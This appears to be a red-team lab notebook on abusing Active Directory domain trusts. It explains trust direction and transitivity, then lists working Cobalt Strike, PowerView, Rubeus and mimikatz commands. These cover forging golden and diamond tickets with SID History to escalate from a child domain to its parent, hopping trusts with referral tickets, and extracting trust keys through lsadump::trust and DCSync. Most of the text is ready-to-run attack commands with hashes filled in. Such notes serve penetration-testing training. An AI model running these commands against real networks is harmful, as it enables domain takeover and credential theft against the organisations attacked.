A one-way trust allows principals in the trusted domain to access resources in the trusting domain, but not vice versa. A two-way trust is actually just two one-way trusts that go in the opposite directions, and allows users in each domain to access resources in the other. Trust directions are confusing as the direction of the trust is the opposite to the direction of access.
If Domain A trusts Domain B, Domain A is the trusting domain and Domain B is the trusted domain. But this allows users in Domain B to access Domain A, not A to B. To further complicate things, one-way trusts can be labelled as Inbound or Outbound depending on your perspective. In Domain A, this would be an Outbound trust; and in Domain B, this would be an Inbound trust.
Transitivity defines whether or not a trust can be chained. For instance - if Domain A trusts Domain B, and Domain B trusts Domain C; then A also trust C. If these domains are owned by different entities, then there are obvious implications in terms of the trust model…
parent / child
a child domain automatically gets a transitive two-way trust
beacon> powershell Get-DomainTrustIf we have Domain Admin privileges in the child, we can also gain Domain Admin privileges in the parent using a TGT with a special attribute called SID History.  SID History was designed to support migration scenarios, where a user would be moved from one domain to another.  To preserve access to resources in the “old” domain, the user’s previous SID would be added to the SID History of their new account.  When creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added that will grant access to all resources in the parent.
This can be achieved using either a Golden or Diamond Ticket.
Get domain admin SID in the target parent domain:
beacon> powershell Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid
# also get name of target domain DC
beacon> powershell Get-DomainGroupMember -Identity "Domain Admins" -Domain cyberbotic.io | select MemberName
# whioch domain admins to impersonate?
beacon> powershell Get-DomainGroupMember -Identity "Domain Admins" -Domain cyberbotic.io | select MemberNameCreate a golden ticket:
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrapor create a diamond ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrapThere are other means that do not need DA in the child:
- you can AS-ROAST and kerberoast over domain boundaries
- you may find child machine instances with unconstraint delegation and caputure parent domain user’s TGTs
- if they are interactively on a machine (e.g., RDP) we can impersonate them
one-way inbound
dev has one-way inbound trust to dev-studio → dev can access dev-studio
We can enumerate the foreign domain
beacon> powershell Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName
# enumerate any groups that contain users outside of its domain and return its members.
beacon> powershell Get-DomainForeignGroupMember -Domain dev-studio.com
# the command before only shows SID
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120
# who are the members of this group?
beacon> powershell Get-DomainGroupMember -Identity "Studio Admins" | select MemberNameHop a domain trust using Kerberos:
# Get a TGT of the target user
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4 /nowrap
# get a referral ticket to the target domain
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /ticket:doIFwj[...]MuaW8= /nowrap
# use this ticket to get a TGS in the target domain
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrapone-way outbound
ex. cyberbiotic.io and msp.org
beacon> powershell Get-DomainTrust -Domain cyberbotic.ioWe can still partially exploit this trust and obtain “domain user” access from CYBER to MSP by leveraging the shared credential for the trust.  Both domains in a trust relationship store a shared password (which is automatically changed every 30 days) in a Trusted Domain Object (TDO).  These objects are stored in the system container and can be read via LDAP.  Here we see that the DC in CYBER has two TDOs for its trusts with DEV and MSP.
# get domaint trust objects
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain cyberbotic.io --attributes distinguishedName,name,flatName,trustDirection
# get it directly from the DC
beacon> mimikatz lsadump::trust /patch
# or do DCSync:
beacon> powershell Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid
# use objectid as guid in mimikatz call
beacon> mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}
# get trust account (which is typically domain$)
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)"
# request kerberos ticket, key is [out] or [out-1] from mimikatz
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:CYBER$ /domain:msp.org /rc4:f3fc2312d9d1f80b78e67d55d41ad496 /nowrap
# this TGT can be used to interact with the domainThis is not a domain admin, but we can use kerberoasting, asreproasting, rbcd, vulnerable certificate templates